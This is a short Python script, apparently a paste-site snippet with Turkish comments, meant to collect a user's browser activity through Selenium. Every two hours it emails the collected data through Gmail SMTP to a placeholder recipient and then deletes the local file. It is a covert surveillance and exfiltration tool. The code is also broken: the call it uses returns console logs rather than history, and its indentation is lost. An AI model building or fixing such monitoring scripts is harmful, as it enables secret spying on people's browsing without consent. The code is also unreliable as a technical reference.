Untitled
user_0576712
python
3 years ago
1.4 kB
13
Indexable
import time
from selenium import webdriver
import smtplib
from email.mime.text import MIMEText
import os
# Google Chrome tarayıcısını kullanmak için
driver = webdriver.Chrome()
while True:
# Tarayıcı geçmişini almak için
history = driver.get_log('browser')
# Tarayıcı geçmişini metin belgesine kaydetmek
with open("browser_history.txt", "w") as file:
for entry in history:
file.write(entry['message'] + "\n")
# Gönderilecek e-posta ayarları
mail_user = "youremail@example.com" # gönderen e-posta adresi
mail_password = "yourpassword" # e-posta şifresi
to = "recipientemail@example.com" # alıcı e-posta adresi
# E-posta mesajı oluşturmak
with open("browser_history.txt", "r") as file:
history = file.read()
msg = MIMEText(history)
msg['Subject'] = "Tarayıcı Geçmişi"
msg['From'] = mail_user
msg['To'] = to
# Gmail sunucusu kullanmak
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(mail_user, mail_password)
# E-posta mesajını göndermek
server.send_message(msg)
# Gmail sunucusundan çıkmak
server.quit()
# Tarayıcı geçmişi metin belgesini silmek
os.remove("browser_history.txt")
# 2 saat beklemek
time.sleep(7200)
# Tarayıcıyı kapatmak
driver.close()Editor is loading...